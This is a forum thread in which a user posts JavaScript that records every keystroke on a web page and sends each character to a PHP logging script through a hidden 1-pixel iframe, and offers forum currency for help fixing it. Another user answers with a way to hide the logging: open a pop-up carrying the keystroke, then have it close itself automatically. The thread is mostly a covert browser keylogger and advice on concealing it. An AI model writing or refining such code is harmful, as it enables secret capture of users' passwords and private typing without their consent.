FRIHOSTFORUMSFAQTOSBLOGSDIRECTORY
You are invited to Log in or Register a Frihost Account!

#Paying 30 + frih$ to fix my javascript! Help! Fast!#

 


warallthetm
I am trying to creat a script that captures the users keystrokes and passes it to a php file with the url parameter being log.php?letter=(letter here). I have gotten the php portion to work, but i need help fixing my javascript:
------------------------------
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script>
// Script by me
document.onkeypress =
function (evt) {
var c = document.layers ? evt.which
: document.all ? event.keyCode
: evt.keyCode;
setTimeout("log.location = 'log.php?letter=' + String.fromCharCode(c)", 0000);
return true;
};
// This is for capture form fields in nn4
if (document.layers)
document.captureEvents(Event.KEYPRESS);

</script></head>
<body>

<iframe src="" name="log" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>
</body>
</html>
-------------------------------------
Where the red is is the part that print the letter you pressed. I have gotten this script to work so that it displays and alert box, BUT i cant figure out how to pass this generated letter to the php without leaving this page! Can someone please fix it! Name your own price
LukeakaDanish
Well...if you want to call a php document without leaving the page (i tihnk thats what you want...) there is certainly one VERY EASY way to do it.

now im not saying this is ellegant or the best way to do it (im just not that good) but it certainly works (promise)

Just open a new window with javascript...pass is a "dynamic" url (eg one that you create from the input the user makes) then in the body tag of your .php doc, write:
Code:
onload="self.close();"


The beauty is that because javascript opened the window it will also be allowed to close it Very Happy

Price: Free...I have pleanty of the shitty (excuse my language) frih$...and I neither need more nor think its appropriate for you to donate me anything for this post which has taken me 1 min. MAX


Also, a couple of tips:

Post code in code tags - otherwise its very hard to read
Post coding/scripting problems in the coding forums - thats where all the clever guys are.
Comments your code inline
Remove the parts of your code which are obviously useless to us (stuff like your doctype!)

Thanks for reading Wink
warallthetm
so, in the javascript
Code:
document.write(popupname.location= ect....

would that be correct?
Reply to topic    Frihost Forum Index -> Miscellaneous -> Marketplace

FRIHOST HOME | FAQ | TOS | ABOUT US | CONTACT US | SITE MAP
© 2005-2007 Frihost, forums powered by phpBB.